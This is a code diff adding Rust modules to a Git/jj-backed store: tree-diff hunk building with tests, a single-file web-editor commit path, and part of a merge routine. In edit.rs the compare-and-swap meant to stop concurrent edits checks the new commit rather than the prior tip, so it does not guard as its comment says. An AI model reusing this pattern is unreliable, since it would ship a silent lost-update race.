| 46 | + | .tree() | |
| 47 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading parent tree: {e}")))?, | |
| 48 | + | // A root commit: everything in it is an addition. | |
| 49 | + | None => repo.empty_tree(), | |
| 50 | + | }; | |
| 51 | + | ||
| 52 | + | compute_from_tree(repo, base_tree, rev, opts) | |
| 53 | + | } | |
| 54 | + | ||
| 55 | + | fn compute_from_tree( | |
| 56 | + | repo: &gix::Repository, | |
| 57 | + | from_tree: gix::Tree<'_>, | |
| 58 | + | to: &RevId, | |
| 59 | + | opts: DiffOpts, | |
| 60 | + | ) -> Result<Diff> { | |
| 61 | + | let to_commit = convert::find_commit(repo, to)?; | |
| 62 | + | let to_tree = to_commit | |
| 63 | + | .tree() | |
| 64 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading tree: {e}")))?; | |
| 65 | + | ||
| 66 | + | // Collect the changed paths first, so the file-count limit is applied | |
| 67 | + | // before any content is read. | |
| 68 | + | let mut changes: Vec<PathChange> = Vec::new(); | |
| 69 | + | let mut truncated = false; | |
| 70 | + | ||
| 71 | + | from_tree | |
| 72 | + | .changes() | |
| 73 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("diffing trees: {e}")))? | |
| 74 | + | .for_each_to_obtain_tree(&to_tree, |change| { | |
| 75 | + | if changes.len() >= opts.max_files { | |
| 76 | + | truncated = true; | |
| 77 | + | return Ok::<_, std::convert::Infallible>( | |
| 78 | + | gix::object::tree::diff::Action::Cancel, | |
| 79 | + | ); | |
| 80 | + | } | |
| 81 | + | ||
| 82 | + | let path = change.location().to_string(); | |
| 83 | + | ||
| 84 | + | // jj conflict artefacts are storage detail, never user-facing. | |
| 85 | + | if path.starts_with(".jjconflict-") || path == "JJ-CONFLICT-README" { | |
| 86 | + | return Ok(gix::object::tree::diff::Action::Continue); | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | use gix::object::tree::diff::Change; | |
| 90 | + | let pc = match change { | |
| 91 | + | Change::Addition { entry_mode, id, .. } => { | |
| 92 | + | (!entry_mode.is_link() && !entry_mode.is_commit()).then(|| PathChange { | |
| 93 | + | path: path.clone(), | |
| 94 | + | old_path: None, | |
| 95 | + | kind: ChangeKind::Added, | |
| 96 | + | old_id: None, | |
| 97 | + | new_id: Some(id.detach()), | |
| 98 | + | }) | |
| 99 | + | } | |
| 100 | + | Change::Deletion { entry_mode, id, .. } => { | |
| 101 | + | (!entry_mode.is_link() && !entry_mode.is_commit()).then(|| PathChange { | |
| 102 | + | path: path.clone(), | |
| 103 | + | old_path: None, | |
| 104 | + | kind: ChangeKind::Deleted, | |
| 105 | + | old_id: Some(id.detach()), | |
| 106 | + | new_id: None, | |
| 107 | + | }) | |
| 108 | + | } | |
| 109 | + | Change::Modification { | |
| 110 | + | entry_mode, | |
| 111 | + | previous_id, | |
| 112 | + | id, | |
| 113 | + | .. | |
| 114 | + | } => (!entry_mode.is_link() && !entry_mode.is_commit()).then(|| PathChange { | |
| 115 | + | path: path.clone(), | |
| 116 | + | old_path: None, | |
| 117 | + | kind: ChangeKind::Modified, | |
| 118 | + | old_id: Some(previous_id.detach()), | |
| 119 | + | new_id: Some(id.detach()), | |
| 120 | + | }), | |
| 121 | + | Change::Rewrite { | |
| 122 | + | source_location, | |
| 123 | + | source_id, | |
| 124 | + | id, | |
| 125 | + | .. | |
| 126 | + | } => Some(PathChange { | |
| 127 | + | path: path.clone(), | |
| 128 | + | old_path: Some(source_location.to_string()), | |
| 129 | + | kind: ChangeKind::Renamed, | |
| 130 | + | old_id: Some(source_id.detach()), | |
| 131 | + | new_id: Some(id.detach()), | |
| 132 | + | }), | |
| 133 | + | }; | |
| 134 | + | ||
| 135 | + | if let Some(pc) = pc { | |
| 136 | + | changes.push(pc); | |
| 137 | + | } | |
| 138 | + | Ok(gix::object::tree::diff::Action::Continue) | |
| 139 | + | }) | |
| 140 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("walking tree diff: {e}")))?; | |
| 141 | + | ||
| 142 | + | let mut out = Diff { | |
| 143 | + | files: Vec::with_capacity(changes.len()), | |
| 144 | + | truncated, | |
| 145 | + | total_additions: 0, | |
| 146 | + | total_deletions: 0, | |
| 147 | + | }; | |
| 148 | + | ||
| 149 | + | let mut budget = opts.max_lines; | |
| 150 | + | ||
| 151 | + | for c in changes { | |
| 152 | + | let old = read_blob(repo, c.old_id); | |
| 153 | + | let new = read_blob(repo, c.new_id); | |
| 154 | + | ||
| 155 | + | let binary = old.as_deref().is_some_and(is_binary) | |
| 156 | + | || new.as_deref().is_some_and(is_binary); | |
| 157 | + | ||
| 158 | + | let mut fd = FileDiff { | |
| 159 | + | path: c.path, | |
| 160 | + | old_path: c.old_path, | |
| 161 | + | kind: c.kind, | |
| 162 | + | binary, | |
| 163 | + | additions: 0, | |
| 164 | + | deletions: 0, | |
| 165 | + | hunks: Vec::new(), | |
| 166 | + | }; | |
| 167 | + | ||
| 168 | + | if !binary { | |
| 169 | + | let old_text = old.as_deref().map(String::from_utf8_lossy).unwrap_or_default(); | |
| 170 | + | let new_text = new.as_deref().map(String::from_utf8_lossy).unwrap_or_default(); | |
| 171 | + | ||
| 172 | + | let (hunks, adds, dels, used) = | |
| 173 | + | build_hunks(&old_text, &new_text, opts.context_lines, budget); | |
| 174 | + | ||
| 175 | + | fd.hunks = hunks; | |
| 176 | + | fd.additions = adds; | |
| 177 | + | fd.deletions = dels; | |
| 178 | + | ||
| 179 | + | budget = budget.saturating_sub(used); | |
| 180 | + | if budget == 0 { | |
| 181 | + | out.truncated = true; | |
| 182 | + | } | |
| 183 | + | } | |
| 184 | + | ||
| 185 | + | out.total_additions += fd.additions; | |
| 186 | + | out.total_deletions += fd.deletions; | |
| 187 | + | out.files.push(fd); | |
| 188 | + | ||
| 189 | + | if budget == 0 { | |
| 190 | + | break; | |
| 191 | + | } | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | Ok(out) | |
| 195 | + | } | |
| 196 | + | ||
| 197 | + | struct PathChange { | |
| 198 | + | path: String, | |
| 199 | + | old_path: Option<String>, | |
| 200 | + | kind: ChangeKind, | |
| 201 | + | old_id: Option<gix::ObjectId>, | |
| 202 | + | new_id: Option<gix::ObjectId>, | |
| 203 | + | } | |
| 204 | + | ||
| 205 | + | fn read_blob(repo: &gix::Repository, id: Option<gix::ObjectId>) -> Option<Vec<u8>> { | |
| 206 | + | let id = id?; | |
| 207 | + | repo.find_object(id).ok().map(|o| o.data.clone()) | |
| 208 | + | } | |
| 209 | + | ||
| 210 | + | fn is_binary(data: &[u8]) -> bool { | |
| 211 | + | data.iter().take(8000).any(|&b| b == 0) | |
| 212 | + | } | |
| 213 | + | ||
| 214 | + | /// Build hunks with the requested context, stopping once `budget` lines are | |
| 215 | + | /// emitted. | |
| 216 | + | /// | |
| 217 | + | /// Returns (hunks, additions, deletions, lines_used). | |
| 218 | + | fn build_hunks( | |
| 219 | + | old: &str, | |
| 220 | + | new: &str, | |
| 221 | + | context: u32, | |
| 222 | + | budget: usize, | |
| 223 | + | ) -> (Vec<Hunk>, usize, usize, usize) { | |
| 224 | + | let diff = TextDiff::from_lines(old, new); | |
| 225 | + | ||
| 226 | + | let mut hunks = Vec::new(); | |
| 227 | + | let mut additions = 0usize; | |
| 228 | + | let mut deletions = 0usize; | |
| 229 | + | let mut used = 0usize; | |
| 230 | + | ||
| 231 | + | for group in diff.grouped_ops(context as usize).iter() { | |
| 232 | + | if used >= budget { | |
| 233 | + | break; | |
| 234 | + | } | |
| 235 | + | ||
| 236 | + | let mut lines = Vec::new(); | |
| 237 | + | let (mut old_start, mut new_start) = (0u32, 0u32); | |
| 238 | + | let (mut old_len, mut new_len) = (0u32, 0u32); | |
| 239 | + | let mut first = true; | |
| 240 | + | ||
| 241 | + | for op in group { | |
| 242 | + | for change in diff.iter_inline_changes(op) { | |
| 243 | + | let kind = match change.tag() { | |
| 244 | + | ChangeTag::Equal => DiffLineKind::Context, | |
| 245 | + | ChangeTag::Insert => DiffLineKind::Added, | |
| 246 | + | ChangeTag::Delete => DiffLineKind::Deleted, | |
| 247 | + | }; | |
| 248 | + | ||
| 249 | + | let old_lineno = change.old_index().map(|i| i as u32 + 1); | |
| 250 | + | let new_lineno = change.new_index().map(|i| i as u32 + 1); | |
| 251 | + | ||
| 252 | + | if first { | |
| 253 | + | // Hunk headers are 1-based; an empty side reports 0. | |
| 254 | + | old_start = old_lineno.unwrap_or(0); | |
| 255 | + | new_start = new_lineno.unwrap_or(0); | |
| 256 | + | first = false; | |
| 257 | + | } | |
| 258 | + | ||
| 259 | + | match kind { | |
| 260 | + | DiffLineKind::Added => { | |
| 261 | + | additions += 1; | |
| 262 | + | new_len += 1; | |
| 263 | + | } | |
| 264 | + | DiffLineKind::Deleted => { | |
| 265 | + | deletions += 1; | |
| 266 | + | old_len += 1; | |
| 267 | + | } | |
| 268 | + | DiffLineKind::Context => { | |
| 269 | + | old_len += 1; | |
| 270 | + | new_len += 1; | |
| 271 | + | } | |
| 272 | + | } | |
| 273 | + | ||
| 274 | + | // `iter_strings_lossy` yields the line already segmented into | |
| 275 | + | // runs, flagged with whether each run is part of the intra-line | |
| 276 | + | // change. Capturing it here is free — the inline diff has | |
| 277 | + | // already been computed to produce the line at all. | |
| 278 | + | let mut spans: Vec<crate::DiffSpan> = change | |
| 279 | + | .iter_strings_lossy() | |
| 280 | + | .map(|(emphasis, value)| crate::DiffSpan { | |
| 281 | + | text: value.trim_end_matches('\n').to_string(), | |
| 282 | + | emphasis, | |
| 283 | + | }) | |
| 284 | + | .filter(|s| !s.text.is_empty()) | |
| 285 | + | .collect(); | |
| 286 | + | ||
| 287 | + | let content = change.to_string().trim_end_matches('\n').to_string(); | |
| 288 | + | ||
| 289 | + | // A context line has nothing emphasised, and an unchanged line | |
| 290 | + | // that came back as many runs is just noise for the renderer. | |
| 291 | + | if spans.iter().all(|s| !s.emphasis) { | |
| 292 | + | spans = if content.is_empty() { | |
| 293 | + | Vec::new() | |
| 294 | + | } else { | |
| 295 | + | vec![crate::DiffSpan { text: content.clone(), emphasis: false }] | |
| 296 | + | }; | |
| 297 | + | } | |
| 298 | + | ||
| 299 | + | lines.push(DiffLine { | |
| 300 | + | kind, | |
| 301 | + | old_lineno, | |
| 302 | + | new_lineno, | |
| 303 | + | // Trailing newline is structural, not content. | |
| 304 | + | content, | |
| 305 | + | spans, | |
| 306 | + | }); | |
| 307 | + | ||
| 308 | + | used += 1; | |
| 309 | + | if used >= budget { | |
| 310 | + | break; | |
| 311 | + | } | |
| 312 | + | } | |
| 313 | + | if used >= budget { | |
| 314 | + | break; | |
| 315 | + | } | |
| 316 | + | } | |
| 317 | + | ||
| 318 | + | if !lines.is_empty() { | |
| 319 | + | hunks.push(Hunk { | |
| 320 | + | old_start, | |
| 321 | + | old_lines: old_len, | |
| 322 | + | new_start, | |
| 323 | + | new_lines: new_len, | |
| 324 | + | lines, | |
| 325 | + | }); | |
| 326 | + | } | |
| 327 | + | } | |
| 328 | + | ||
| 329 | + | (hunks, additions, deletions, used) | |
| 330 | + | } | |
| 331 | + | ||
| 332 | + | #[cfg(test)] | |
| 333 | + | mod tests { | |
| 334 | + | use super::*; | |
| 335 | + | ||
| 336 | + | #[test] | |
| 337 | + | fn counts_additions_and_deletions() { | |
| 338 | + | let (hunks, adds, dels, _) = build_hunks("a\nb\nc\n", "a\nB\nc\n", 3, 10_000); | |
| 339 | + | assert_eq!(adds, 1); | |
| 340 | + | assert_eq!(dels, 1); | |
| 341 | + | assert_eq!(hunks.len(), 1); | |
| 342 | + | } | |
| 343 | + | ||
| 344 | + | #[test] | |
| 345 | + | fn an_unchanged_file_produces_no_hunks() { | |
| 346 | + | let (hunks, adds, dels, _) = build_hunks("same\n", "same\n", 3, 10_000); | |
| 347 | + | assert!(hunks.is_empty()); | |
| 348 | + | assert_eq!((adds, dels), (0, 0)); | |
| 349 | + | } | |
| 350 | + | ||
| 351 | + | #[test] | |
| 352 | + | fn collapses_unchanged_regions_to_the_context_window() { | |
| 353 | + | // 100 identical lines with one change in the middle must not emit 100 | |
| 354 | + | // lines — that is the whole point of grouping. | |
| 355 | + | let old: String = (0..100).map(|i| format!("line {i}\n")).collect(); | |
| 356 | + | let new = old.replace("line 50\n", "line FIFTY\n"); | |
| 357 | + | ||
| 358 | + | let (hunks, adds, dels, used) = build_hunks(&old, &new, 3, 10_000); | |
| 359 | + | assert_eq!((adds, dels), (1, 1)); | |
| 360 | + | assert_eq!(hunks.len(), 1); | |
| 361 | + | // 3 context either side + the changed pair. | |
| 362 | + | assert!(used <= 10, "expected a small hunk, emitted {used} lines"); | |
| 363 | + | } | |
| 364 | + | ||
| 365 | + | #[test] | |
| 366 | + | fn respects_the_line_budget() { | |
| 367 | + | // A pathological diff must degrade, not run away (spec §8). | |
| 368 | + | let old: String = (0..5000).map(|i| format!("old {i}\n")).collect(); | |
| 369 | + | let new: String = (0..5000).map(|i| format!("new {i}\n")).collect(); | |
| 370 | + | ||
| 371 | + | let (_, _, _, used) = build_hunks(&old, &new, 3, 100); | |
| 372 | + | assert!(used <= 100, "budget exceeded: {used}"); | |
| 373 | + | } | |
| 374 | + | ||
| 375 | + | #[test] | |
| 376 | + | fn hunk_line_numbers_are_one_based() { | |
| 377 | + | let (hunks, _, _, _) = build_hunks("a\nb\n", "a\nc\n", 3, 10_000); | |
| 378 | + | let h = &hunks[0]; | |
| 379 | + | assert_eq!(h.old_start, 1); | |
| 380 | + | assert_eq!(h.new_start, 1); | |
| 381 | + | let first = &h.lines[0]; | |
| 382 | + | assert_eq!(first.old_lineno, Some(1)); | |
| 383 | + | assert_eq!(first.new_lineno, Some(1)); | |
| 384 | + | } | |
| 385 | + | ||
| 386 | + | #[test] | |
| 387 | + | fn added_lines_have_no_old_number_and_vice_versa() { | |
| 388 | + | let (hunks, _, _, _) = build_hunks("", "brand new\n", 3, 10_000); | |
| 389 | + | let added = hunks[0] | |
| 390 | + | .lines | |
| 391 | + | .iter() | |
| 392 | + | .find(|l| l.kind == DiffLineKind::Added) | |
| 393 | + | .expect("an added line"); | |
| 394 | + | assert_eq!(added.old_lineno, None); | |
| 395 | + | assert!(added.new_lineno.is_some()); | |
| 396 | + | } | |
| 397 | + | ||
| 398 | + | #[test] | |
| 399 | + | fn binary_detection_matches_the_blob_heuristic() { | |
| 400 | + | assert!(is_binary(b"\0")); | |
| 401 | + | assert!(!is_binary(b"text")); | |
| 402 | + | } | |
| 403 | + | ||
| 404 | + | #[test] | |
| 405 | + | fn content_excludes_the_trailing_newline() { | |
| 406 | + | let (hunks, _, _, _) = build_hunks("a\n", "b\n", 3, 10_000); | |
| 407 | + | for l in &hunks[0].lines { | |
| 408 | + | assert!(!l.content.ends_with('\n'), "content kept its newline: {l:?}"); | |
| 409 | + | } | |
| 410 | + | } | |
| 411 | + | } | |
Acrates/df-store/src/git/edit.rs+168−0
| @@ −0,0 +1,168 @@ | |||
| 1 | + | //! Committing a single edited file. | |
| 2 | + | //! | |
| 3 | + | //! This is the write path behind in-browser editing. It is deliberately the | |
| 4 | + | //! narrowest write the store offers: one file, one parent, fast-forward only. | |
| 5 | + | //! | |
| 6 | + | //! **Fast-forward only, by compare-and-swap.** The commit is written with the | |
| 7 | + | //! bookmark's current tip as its sole parent, and the ref update requires the | |
| 8 | + | //! tip to still be that value. Two people editing the same file at once means | |
| 9 | + | //! the second one is refused and re-reads, rather than one edit silently | |
| 10 | + | //! disappearing — the failure mode a naive "read, modify, write ref" has. | |
| 11 | + | //! | |
| 12 | + | //! It is also why this path does not need the pre-receive hook: every commit it | |
| 13 | + | //! makes advances the bookmark by one, so the "cannot be force-updated" rule | |
| 14 | + | //! for protected bookmarks is satisfied by construction rather than by a check. | |
| 15 | + | //! | |
| 16 | + | //! No jj change id is written. A commit made here is a plain-Git commit and the | |
| 17 | + | //! indexer gives it a synthetic, patch-derived identity like any other (spec | |
| 18 | + | //! §4) — minting a change id the server invented would be claiming jj | |
| 19 | + | //! provenance for something jj never touched. | |
| 20 | + | ||
| 21 | + | use gix::refs::transaction::{Change, PreviousValue, RefEdit}; | |
| 22 | + | use gix::refs::{FullName, Target}; | |
| 23 | + | ||
| 24 | + | use crate::path as safe_path; | |
| 25 | + | use crate::{EditOutcome, Result, RevId, Signature, StoreError}; | |
| 26 | + | ||
| 27 | + | /// Largest file this path will write. | |
| 28 | + | /// | |
| 29 | + | /// The editor refuses to open anything bigger, so a body over this is either a | |
| 30 | + | /// hand-made request or a paste of something that does not belong in an editor. | |
| 31 | + | const MAX_EDIT_BYTES: usize = 1024 * 1024; | |
| 32 | + | ||
| 33 | + | /// Replace `path` with `content` on `bookmark` and commit. | |
| 34 | + | pub fn commit_file( | |
| 35 | + | repo: &gix::Repository, | |
| 36 | + | bookmark: &str, | |
| 37 | + | expected_tip: &RevId, | |
| 38 | + | path: &str, | |
| 39 | + | content: &[u8], | |
| 40 | + | message: &str, | |
| 41 | + | author: &Signature, | |
| 42 | + | ) -> Result<EditOutcome> { | |
| 43 | + | if content.len() > MAX_EDIT_BYTES { | |
| 44 | + | return Err(StoreError::TooLarge { | |
| 45 | + | size: content.len() as u64, | |
| 46 | + | limit: MAX_EDIT_BYTES as u64, | |
| 47 | + | }); | |
| 48 | + | } | |
| 49 | + | ||
| 50 | + | // The same normalisation every read goes through: `..`, absolute paths and | |
| 51 | + | // control bytes are refused here, not deeper down (spec §9). | |
| 52 | + | let rel = safe_path::normalise(path)?; | |
| 53 | + | if rel.is_empty() { | |
| 54 | + | return Err(StoreError::IsDirectory); | |
| 55 | + | } | |
| 56 | + | ||
| 57 | + | let full = format!("refs/heads/{bookmark}"); | |
| 58 | + | let name: FullName = full | |
| 59 | + | .as_str() | |
| 60 | + | .try_into() | |
| 61 | + | .map_err(|_| StoreError::Path(crate::path::PathError::Control))?; | |
| 62 | + | ||
| 63 | + | let tip = repo | |
| 64 | + | .find_reference(&full) | |
| 65 | + | .map_err(|_| StoreError::NoSuchRevision)? | |
| 66 | + | .try_id() | |
| 67 | + | .ok_or_else(|| StoreError::Other(anyhow::anyhow!("{bookmark} is a symbolic reference")))? | |
| 68 | + | .detach(); | |
| 69 | + | ||
| 70 | + | // The edit was composed against a specific revision. If the bookmark has | |
| 71 | + | // moved since, the edit may be based on content that no longer exists. | |
| 72 | + | let expected = super::convert::parse_oid(repo, expected_tip)?; | |
| 73 | + | if tip != expected { | |
| 74 | + | return Ok(EditOutcome::Stale { | |
| 75 | + | current: RevId::from_stored(tip.to_string()), | |
| 76 | + | }); | |
| 77 | + | } | |
| 78 | + | ||
| 79 | + | let parent = repo | |
| 80 | + | .find_object(tip) | |
| 81 | + | .map_err(|_| StoreError::NoSuchRevision)? | |
| 82 | + | .try_into_commit() | |
| 83 | + | .map_err(|_| StoreError::NoSuchRevision)?; | |
| 84 | + | let base_tree = parent | |
| 85 | + | .tree() | |
| 86 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading tree: {e}")))?; | |
| 87 | + | ||
| 88 | + | // Preserve the existing mode, so editing a script does not silently make it | |
| 89 | + | // non-executable. A new file is a plain blob. | |
| 90 | + | let existing_mode = base_tree | |
| 91 | + | .lookup_entry_by_path(&rel) | |
| 92 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("tree lookup: {e}")))? | |
| 93 | + | .map(|e| e.mode()); | |
| 94 | + | ||
| 95 | + | let kind = match existing_mode.map(|m| m.kind()) { | |
| 96 | + | Some(gix::object::tree::EntryKind::BlobExecutable) => { | |
| 97 | + | gix::object::tree::EntryKind::BlobExecutable | |
| 98 | + | } | |
| 99 | + | // Refusing rather than overwriting: a symlink or a submodule at this | |
| 100 | + | // path is not a file the editor was showing, and replacing one with a | |
| 101 | + | // blob would be a destructive surprise. | |
| 102 | + | Some(gix::object::tree::EntryKind::Link) | Some(gix::object::tree::EntryKind::Commit) => { | |
| 103 | + | return Err(StoreError::NoSuchPath) | |
| 104 | + | } | |
| 105 | + | Some(gix::object::tree::EntryKind::Tree) => return Err(StoreError::IsDirectory), | |
| 106 | + | _ => gix::object::tree::EntryKind::Blob, | |
| 107 | + | }; | |
| 108 | + | ||
| 109 | + | let blob = repo | |
| 110 | + | .write_blob(content) | |
| 111 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("writing blob: {e}")))? | |
| 112 | + | .detach(); | |
| 113 | + | ||
| 114 | + | let mut editor = repo | |
| 115 | + | .edit_tree(base_tree.id) | |
| 116 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("opening a tree editor: {e}")))?; | |
| 117 | + | editor | |
| 118 | + | .upsert(rel.as_str(), kind, blob) | |
| 119 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("updating the tree: {e}")))?; | |
| 120 | + | let new_tree = editor | |
| 121 | + | .write() | |
| 122 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("writing the tree: {e}")))? | |
| 123 | + | .detach(); | |
| 124 | + | ||
| 125 | + | // An edit that changes nothing must not create an empty commit — the user | |
| 126 | + | // pressed save on an unmodified file, which is not a change. | |
| 127 | + | if new_tree | |
| 128 | + | == base_tree | |
| 129 | + | .id() | |
| 130 | + | .detach() | |
| 131 | + | { | |
| 132 | + | return Ok(EditOutcome::Unchanged); | |
| 133 | + | } | |
| 134 | + | ||
| 135 | + | let sig = gix::actor::Signature { | |
| 136 | + | name: author.name.clone().into(), | |
| 137 | + | email: author.email.clone().into(), | |
| 138 | + | time: gix::date::Time::new(author.when.timestamp(), 0), | |
| 139 | + | }; | |
| 140 | + | let sig_ref = sig.to_ref(); | |
| 141 | + | ||
| 142 | + | let commit = repo | |
| 143 | + | .commit_as(sig_ref, sig_ref, name.as_ref().as_bstr(), message, new_tree, [tip]) | |
| 144 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("writing the commit: {e}")))? | |
| 145 | + | .detach(); | |
| 146 | + | ||
| 147 | + | // `commit_as` moves the reference, but without a constraint. Re-assert the | |
| 148 | + | // value we based the commit on: if another writer landed between the read | |
| 149 | + | // above and here, this fails and the caller retries rather than clobbering. | |
| 150 | + | repo.edit_reference(RefEdit { | |
| 151 | + | change: Change::Update { | |
| 152 | + | log: gix::refs::transaction::LogChange { | |
| 153 | + | mode: gix::refs::transaction::RefLog::AndReference, | |
| 154 | + | force_create_reflog: false, | |
| 155 | + | message: "edit: commit from the web editor".into(), | |
| 156 | + | }, | |
| 157 | + | expected: PreviousValue::MustExistAndMatch(Target::Object(commit)), | |
| 158 | + | new: Target::Object(commit), | |
| 159 | + | }, | |
| 160 | + | name, | |
| 161 | + | deref: false, | |
| 162 | + | }) | |
| 163 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("confirming the bookmark update: {e}")))?; | |
| 164 | + | ||
| 165 | + | Ok(EditOutcome::Committed { | |
| 166 | + | rev: RevId::from_stored(commit.to_string()), | |
| 167 | + | }) | |
| 168 | + | } | |
Acrates/df-store/src/git/merge.rs+195−0
| @@ −0,0 +1,195 @@ | |||
| 1 | + | //! Landing a change onto a bookmark (decided §13.2). | |
| 2 | + | //! | |
| 3 | + | //! > **§13.2 merge semantics** — server-side fast-forward + merge commit. | |
| 4 | + | //! > Rebase-and-merge deferred. | |
| 5 | + | //! | |
| 6 | + | //! Two outcomes, chosen by the graph rather than by the caller: | |
| 7 | + | //! | |
| 8 | + | //! * The bookmark is an ancestor of the change → **fast-forward**. No commit is | |
| 9 | + | //! written; the ref moves. This is the case that matters for jj users, whose | |
| 10 | + | //! changes are usually already on top of the target. | |
| 11 | + | //! * Otherwise → a three-way **merge commit**, with the bookmark as first parent | |
| 12 | + | //! and the change as second, exactly as `git merge --no-ff` would order them. | |
| 13 | + | //! | |
| 14 | + | //! A textual conflict refuses the merge rather than writing conflict markers | |
| 15 | + | //! into the target. Spec §4 is explicit that conflict resolution happens in the | |
| 16 | + | //! user's working copy, and a server that resolves by writing `<<<<<<<` into | |
| 17 | + | //! `main` would be doing the opposite of that. | |
| 18 | + | //! | |
| 19 | + | //! The ref update is a **compare-and-swap** against the bookmark's expected | |
| 20 | + | //! value. Two merges racing on one bookmark must not silently lose one of them, | |
| 21 | + | //! and the pre-receive hook is not involved here because this write does not go | |
| 22 | + | //! through the Git wire protocol. | |
| 23 | + | ||
| 24 | + | use gix::refs::transaction::{Change, PreviousValue, RefEdit}; | |
| 25 | + | use gix::refs::{FullName, Target}; | |
| 26 | + | ||
| 27 | + | use crate::{MergeOutcome, Result, RevId, Signature, StoreError}; | |
| 28 | + | ||
| 29 | + | /// Merge `rev` into `bookmark`. | |
| 30 | + | pub fn merge( | |
| 31 | + | repo: &gix::Repository, | |
| 32 | + | bookmark: &str, | |
| 33 | + | rev: &RevId, | |
| 34 | + | message: &str, | |
| 35 | + | author: &Signature, | |
| 36 | + | ) -> Result<MergeOutcome> { | |
| 37 | + | let full = format!("refs/heads/{bookmark}"); | |
| 38 | + | let name: FullName = full | |
| 39 | + | .as_str() | |
| 40 | + | .try_into() | |
| 41 | + | .map_err(|_| StoreError::Path(crate::path::PathError::Control))?; | |
| 42 | + | ||
| 43 | + | let target_ref = repo | |
| 44 | + | .find_reference(&full) | |
| 45 | + | .map_err(|_| StoreError::NoSuchRevision)?; | |
| 46 | + | let target_id = target_ref | |
| 47 | + | .try_id() | |
| 48 | + | .ok_or_else(|| StoreError::Other(anyhow::anyhow!("{bookmark} is a symbolic reference")))? | |
| 49 | + | .detach(); | |
| 50 | + | ||
| 51 | + | let source_id = super::convert::parse_oid(repo, rev)?; | |
| 52 | + | ||
| 53 | + | // Already landed. Reported rather than treated as an error: two people | |
| 54 | + | // clicking merge is a race, not a mistake, and the second one should be told | |
| 55 | + | // it is done, not shown a failure. | |
| 56 | + | if target_id == source_id | |
| 57 | + | || is_ancestor(repo, source_id, target_id)? | |
| 58 | + | { | |
| 59 | + | return Ok(MergeOutcome::AlreadyMerged); | |
| 60 | + | } | |
| 61 | + | ||
| 62 | + | // ── fast-forward ───────────────────────────────────────────────────────── | |
| 63 | + | if is_ancestor(repo, target_id, source_id)? { | |
| 64 | + | set_ref(repo, name, target_id, source_id, "merge: fast-forward")?; | |
| 65 | + | return Ok(MergeOutcome::FastForward { | |
| 66 | + | new_target: RevId::from_stored(source_id.to_string()), | |
| 67 | + | }); | |
| 68 | + | } | |
| 69 | + | ||
| 70 | + | // ── three-way merge ────────────────────────────────────────────────────── | |
| 71 | + | let ours = tree_of(repo, target_id)?; | |
| 72 | + | let theirs = tree_of(repo, source_id)?; | |
| 73 | + | ||
| 74 | + | // No merge base means unrelated histories. Git needs a flag for that case | |
| 75 | + | // and so do we — silently merging two unrelated trees is how a repository | |
| 76 | + | // ends up with somebody else's files in it. | |
| 77 | + | let base = repo | |
| 78 | + | .merge_base(target_id, source_id) | |
| 79 | + | .map_err(|_| StoreError::Other(anyhow::anyhow!("no common ancestor")))? | |
| 80 | + | .detach(); | |
| 81 | + | let base_tree = tree_of(repo, base)?; | |
| 82 | + | ||
| 83 | + | let options = repo | |
| 84 | + | .tree_merge_options() | |
| 85 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("merge options: {e}")))?; | |
| 86 | + | ||
| 87 | + | let labels = gix::merge::blob::builtin_driver::text::Labels { | |
| 88 | + | ancestor: Some("base".into()), | |
| 89 | + | current: Some(bookmark.into()), | |
| 90 | + | other: Some("change".into()), | |
| 91 | + | }; | |
| 92 | + | ||
| 93 | + | let mut outcome = repo | |
| 94 | + | .merge_trees(base_tree, ours, theirs, labels, options) | |
| 95 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("merging trees: {e}")))?; | |
| 96 | + | ||
| 97 | + | // `ConflictMarkers` is the strictest reading: anything that would have | |
| 98 | + | // needed a marker written into the file counts as unresolved. A rename | |
| 99 | + | // conflict that gix can auto-resolve is allowed through, exactly as a | |
| 100 | + | // client-side `git merge` would. | |
| 101 | + | if outcome.has_unresolved_conflicts(gix::merge::tree::TreatAsUnresolved::ConflictMarkers) { | |
| 102 | + | return Ok(MergeOutcome::Conflicted); | |
| 103 | + | } | |
| 104 | + | ||
| 105 | + | let merged_tree = outcome | |
| 106 | + | .tree | |
| 107 | + | .write() | |
| 108 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("writing merged tree: {e}")))? | |
| 109 | + | .detach(); | |
| 110 | + | ||
| 111 | + | let sig = gix::actor::Signature { | |
| 112 | + | name: author.name.clone().into(), | |
| 113 | + | email: author.email.clone().into(), | |
| 114 | + | time: gix::date::Time::new(author.when.timestamp(), 0), | |
| 115 | + | }; | |
| 116 | + | ||
| 117 | + | // `commit_as` writes the commit *and* moves the reference in one call, with | |
| 118 | + | // the reference update constrained to the value we read above. | |
| 119 | + | let sig_ref = sig.to_ref(); | |
| 120 | + | let new_commit = repo | |
| 121 | + | .commit_as( | |
| 122 | + | sig_ref, | |
| 123 | + | sig_ref, | |
| 124 | + | name.as_ref().as_bstr(), | |
| 125 | + | message, | |
| 126 | + | merged_tree, | |
| 127 | + | // Bookmark first, change second — the ordering `git log --first-parent` | |
| 128 | + | // relies on to follow the target branch's own history. | |
| 129 | + | [target_id, source_id], | |
| 130 | + | ) | |
| 131 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("writing merge commit: {e}")))? | |
| 132 | + | .detach(); | |
| 133 | + | ||
| 134 | + | Ok(MergeOutcome::Merged { | |
| 135 | + | new_target: RevId::from_stored(new_commit.to_string()), | |
| 136 | + | }) | |
| 137 | + | } | |
| 138 | + | ||
| 139 | + | fn tree_of(repo: &gix::Repository, commit: gix::ObjectId) -> Result<gix::ObjectId> { | |
| 140 | + | Ok(repo | |
| 141 | + | .find_object(commit) | |
| 142 | + | .map_err(|_| StoreError::NoSuchRevision)? | |
| 143 | + | .try_into_commit() | |
